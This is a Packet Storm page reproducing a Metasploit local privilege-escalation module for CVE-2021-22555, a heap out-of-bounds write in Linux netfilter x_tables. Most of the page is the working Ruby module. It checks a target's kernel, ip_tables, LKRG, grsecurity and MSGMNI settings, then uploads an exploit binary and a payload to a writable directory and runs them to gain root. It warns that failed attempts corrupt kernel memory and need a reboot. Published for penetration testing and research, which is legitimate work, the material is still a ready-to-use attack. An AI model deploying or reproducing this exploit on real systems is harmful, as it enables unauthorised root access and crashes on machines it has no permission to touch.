what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Netfilter x_tables Heap Out-Of-Bounds Write / Privilege Escalation

Netfilter x_tables Heap Out-Of-Bounds Write / Privilege Escalation
Posted Oct 7, 2021
Authored by Brendan Coles, Andy Nguyen, Szymon Janusz | Site metasploit.com

A heap out-of-bounds write affecting Linux since version 2.6.19-rc1 was discovered in net/netfilter/x_tables.c. This allows an attacker to gain privileges or cause a denial of service (via heap memory corruption) through user name space. Kernels up to and including 5.11 are vulnerable.

tags | exploit, denial of service, kernel
systems | linux
advisories | CVE-2021-22555
SHA-256 | 7caefc49d920cc0b0d58e9ad762b7ffbd02e62e1e3225217c8586f8867ea42e8

Netfilter x_tables Heap Out-Of-Bounds Write / Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking
include Msf::Post::Common
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Netfilter x_tables Heap OOB Write Privilege Escalation',
'Description' => %q{
A heap out-of-bounds write affecting Linux since v2.6.19-rc1 was discovered in net/netfilter/x_tables.c.
This allows an attacker to gain privileges or cause a DoS (via heap memory corruption) through user name space.
Kernels up to 5.11 (including) are vulnerable.
More information about vulnerable kernels is
available at https://nvd.nist.gov/vuln/detail/CVE-2021-22555#vulnConfigurationsArea
},
'License' => MSF_LICENSE,
'Author' => [
'Andy Nguyen (theflow@)', # The original author of this exploit
'Szymon Janusz', # The author of this module
'bcoles' # Updated the C source code to provide more targets
],
'DisclosureDate' => '2021-07-07', # YYYY-DD-MM. Public disclosure date
'Platform' => 'linux',
'Arch' => [ ARCH_X64 ],
'SessionTypes' => ['meterpreter', 'shell'],
'Targets' => [
['Automatic', {}]
],
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => [ UNRELIABLE_SESSION ], # The module could fail to get root sometimes.
'Stability' => [ OS_RESOURCE_LOSS ], # After too many failed attempts, the system needs to be restarted.
'SideEffects' => [ ARTIFACTS_ON_DISK ]
},
'References' => [
['CVE', '2021-22555'],
['URL', 'https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2021-22555'],
['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22555'],
['URL', 'https://ubuntu.com/security/CVE-2021-22555']
]
)
)

register_options(
[
OptString.new('WritableDir', [true, 'Directory to write persistent payload file.', '/var/tmp']),
OptInt.new('CmdTimeout', [true, 'Maximum number of seconds to wait for the exploit to complete', 10])
]
)
end

def base_dir
datastore['WritableDir'].to_s
end

def cmd_timeout
datastore['CmdTimeout'].to_i
end

def get_external_source_code(cve, file)
file_path = ::File.join(::Msf::Config.install_root, "external/source/exploits/#{cve}/#{file}")
::File.binread(file_path)
end

def strip_comments(c_code)
c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '')
end

def check
unless kernel_modules.include? 'ip_tables'
vprint_warning('The ip_tables module is not loaded.')
return CheckCode::Safe('The ip_tables module is not loaded.')
end

return CheckCode::Safe('LKRG is installed.') if lkrg_installed?
return CheckCode::Safe('grsecurity is in use') if grsec_installed?

release = kernel_release
version = "#{release} #{kernel_version.split(' ').first}"
ubuntu_offsets = strip_comments(get_external_source_code('CVE-2021-22555', 'exploit.c')).scan(/kernels\[\] = \{(.+?)\};/m).flatten.first
ubuntu_kernels = ubuntu_offsets.scan(/"(.+?)"/).flatten
if ubuntu_kernels.empty?
fail_with(Msf::Module::Failure::BadConfig, 'Error parsing the list of supported kernels.')
end
return CheckCode::Safe("Ubuntu kernel #{version} is not vulnerable.") if !ubuntu_kernels.include? version

# Setting the MSGMNI to a lower value is an easy remedy for this exploit on vulnerable kernels.
# Currently, the exploit uses #define NUM_MSQIDS 4096, which is the minimum allowed message queue length.
minimum_msgmni = 4096
msgmni_path = '/proc/sys/kernel/msgmni'
return CheckCode::Safe("#{msgmni_path} is not readable.") if !readable?(msgmni_path)

msgmni = read_file(msgmni_path).to_i
if msgmni >= minimum_msgmni
return CheckCode::Appears("Target is running kernel release #{release}.")
else
return CheckCode::Safe("The kernel's MSGMNI queue size of #{msgmni} is too small for the exploit to execute successfully, making the target invulnerable. A minimum queue size of #{minimum_msgmni} is required. This setting can only be changed using sudo on the victim machine.")
end
end

def upload_exploit_binary
executable_name = rand_text_alphanumeric(5..10)
@executable_path = "#{base_dir}/#{executable_name}"
upload_and_chmodx(@executable_path, exploit_data('CVE-2021-22555', 'ubuntu.elf'))
register_file_for_cleanup(@executable_path)
end

def upload_payload_binary
payload_name = rand_text_alphanumeric(5..10)
@payload_path = "#{base_dir}/#{payload_name}"
upload_and_chmodx(@payload_path, generate_payload_exe)
register_file_for_cleanup(@payload_path)
end

def run_payload
response = cmd_exec(@executable_path, @payload_path, cmd_timeout)
vprint_status(response)
if response =~ /No space left on device/
# After too many failed attempts, the system needs to be restarted.
fail_with(Failure::PayloadFailed, 'The exploit failed! To try again, the remote system needs to be restarted as the memory has been corrupted.')
elsif response =~ /Error could not corrupt any primary message/ || response =~ /Error could not leak adjacent secondary message/
fail_with(Failure::PayloadFailed, 'The exploit failed when trying to corrupt the message queue. You can try running the exploit again.')
elsif response =~ /system is not using an Ubuntu kernel/
fail_with(Failure::PayloadFailed, 'The target is not running an Ubuntu kernel.')
elsif response =~ /not recognized/
fail_with(Failure::PayloadFailed, 'The target is running a kernel version that is currently not supported by the exploit.')
end
print_status('Payload executed!')
end

def exploit
fail_with(Failure::BadConfig, "#{base_dir} is not writable.") if !writable?(base_dir)

print_status('Dropping pre-compiled binaries to system...')
upload_exploit_binary
print_status('Uploading payload...')
upload_payload_binary
print_status('Running payload on remote system...')
run_payload
end
end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close